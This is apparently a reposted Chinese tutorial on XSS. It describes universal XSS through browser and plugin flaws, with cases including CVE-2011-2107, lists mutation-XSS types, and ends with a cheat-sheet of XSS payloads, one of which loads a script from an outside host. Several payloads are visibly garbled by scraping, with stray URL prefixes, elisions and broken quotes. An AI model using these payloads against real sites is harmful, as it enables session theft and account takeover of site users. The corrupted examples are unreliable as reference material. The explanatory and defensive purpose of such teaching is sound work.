这一次,彻底理解XSS攻击 (2)

上面三种XSS攻击的是因为客户端或服务端的代码开发不严谨等问题而存在漏洞的目标网站或者应用程序。这些攻击的先决条件是访问页面存在漏洞,但是UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。

漏洞成因

Web浏览器是正在使用的最流行的应用程序之一,当一个新漏洞被发现的时候,不管自己利用还是说报告给官方,而这个过程中都有一段不小的时间,这一过程中漏洞都可能被利用于UXSS。

不仅是浏览器本身的漏洞,现在主流浏览器都支持扩展程序的安装,而众多的浏览器扩展程序可能导致带来更多的漏洞和安全问题。因为UXSS攻击不需要网站页面本身存在漏洞,同时可能访问其他安全无漏洞页面,使得UXSS成为XSS里危险和最具破坏性的攻击类型之一。

漏洞案例 IE6或火狐浏览器扩展程序Adobe Acrobat的漏洞

这是一个比较经典的例子。当使用扩展程序时导致错误,使得代码可以执行。这是一个在pdf阅读器中的bug,允许攻击者在客户端执行脚本。构造恶意页面,写入恶意脚本,并利用扩展程序打开pdf时运行代码。tefano Di Paola 和 Giorgio Fedon在一个在Mozilla Firefox浏览器Adobe Reader的插件中可利用的缺陷中第一个记录和描述的UXSS,Adobe插件通过一系列参数允许从外部数据源取数据进行文档表单的填充,如果没有正确的执行,将允许跨站脚本攻击。

案例详见: Acrobat插件中的UXSS报告

Flash Player UXSS 漏洞 – CVE-2011-2107

一个在2011年Flash Player插件(当时的所有版本)中的缺陷使得攻击者通过使用构造的.swf文件,可以访问Gmail设置和添加转发地址。因此攻击者可以收到任意一个被攻破的Gmail帐号的所有邮件副本(发送的时候都会抄送份)。Adobe承认了该漏洞.

案例详见: Flash Player UXSS 漏洞 – CVE-2011-2107报告

移动设备也不例外,而且可以成为XSS攻击的目标。Chrome安卓版存在一个漏洞,允许攻击者将恶意代码注入到Chrome通过Intent对象加载的任意的web页面。

安卓版Chrome浏览器漏洞

案例详见: Issue 144813: Security: UXSS via com.android.browser.application_id Intent extra

突变型XSS

突变型XSS,也叫做mXSS或,全称Mutation-based Cross-Site-Scripting。(mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation)

漏洞成因

然而,如果用户所提供的富文本内容通过javascript代码进入innerHTML属性后,一些意外的变化会使得这个认定不再成立:浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。

随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进入innerHTML后发生意外变化,而最终导致XSS的攻击流程。

攻击流程

​ 将拼接的内容置于innerHTML这种操作,在现在的WEB应用代码中十分常见,常见的WEB应用中很多都使用了innerHTML属性,这将会导致潜在的mXSS攻击。从浏览器角度来讲,mXSS对三大主流浏览器(IE,CHROME,FIREFOX)均有影响。

mXSS种类

目前为止已知的mXSS种类,接下来的部分将分别对这几类进行讨论与说明。

反引号打破属性边界导致的 mXSS;(该类型是最早被发现并利用的一类mXSS,于2007年被提出,随后被有效的修复)

未知元素中的xmlns属性所导致的mXSS;(一些浏览器不支持HTML5的标记,例如IE8,会将article,aside,menu等当作是未知的HTML标签。)

CSS中反斜线转义导致的mXSS;(在CSS中,允许用\来对字符进行转义,例如:property: 'v\61 lue' 表示 property:'value',其中61是字母a的ascii码(16进制)。\后也可以接unicode,例如:\20AC 表示 € 。正常情况下,这种转义不会有问题。但是碰上innerHTML后,一些奇妙的事情就会发生。)

CSS中双引号实体或转义导致的mXSS;(接着上一部分,依然是CSS中所存在的问题," " " 等双引号的表示形式均可导致这类问题,)

CSS属性名中的转义所导致的mXSS;

非HTML文档中的实体突变;

HTML文档中的非HTML上下文的实体突变;

三、XSS攻击代码出现的场景

普通的XSS JavaScript注入,示例如下:

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

IMG标签XSS使用JavaScript命令,示例如下:

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

IMG标签无分号无引号,示例如下:

<IMG SRC=javascript:alert(‘XSS’)>

IMG标签大小写不敏感,示例如下:

<IMG SRC=http://www.likecs.com/JaVaScRiPt:alert(‘XSS’)>

HTML编码(必须有分号),示例如下:

<IMG SRC=javascript:alert(“XSS”)>

修正缺陷IMG标签,示例如下:

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

formCharCode标签,示例如下:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

UTF-8的Unicode编码,示例如下:

<IMG SRC=http://www.likecs.com/jav..省略..S')>

7位的UTF-8的Unicode编码是没有分号的,示例如下:

<IMG SRC=http://www.likecs.com/jav..省略..S')>

十六进制编码也是没有分号,示例如下:

<IMG SRC=http://www.likecs.com/\'#\'" /span>

嵌入式标签,将Javascript分开,示例如下:

<IMG SRC=http://www.likecs.com/\'#\'" ascript:alert(‘XSS’);”>

嵌入式编码标签,将Javascript分开,示例如下:

<IMG SRC=http://www.likecs.com/\'#\'" ascript:alert(‘XSS’);”>

嵌入式换行符,示例如下:

<IMG SRC=http://www.likecs.com/\'#\'" ascript:alert(‘XSS’);”>

嵌入式回车,示例如下:

<IMG SRC=http://www.likecs.com/\'#\'" ascript:alert(‘XSS’);”>

嵌入式多行注入JavaScript,这是XSS极端的例子,示例如下:

<IMG SRC=http://www.likecs.com/\'#\'" /span>

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zypfyx.html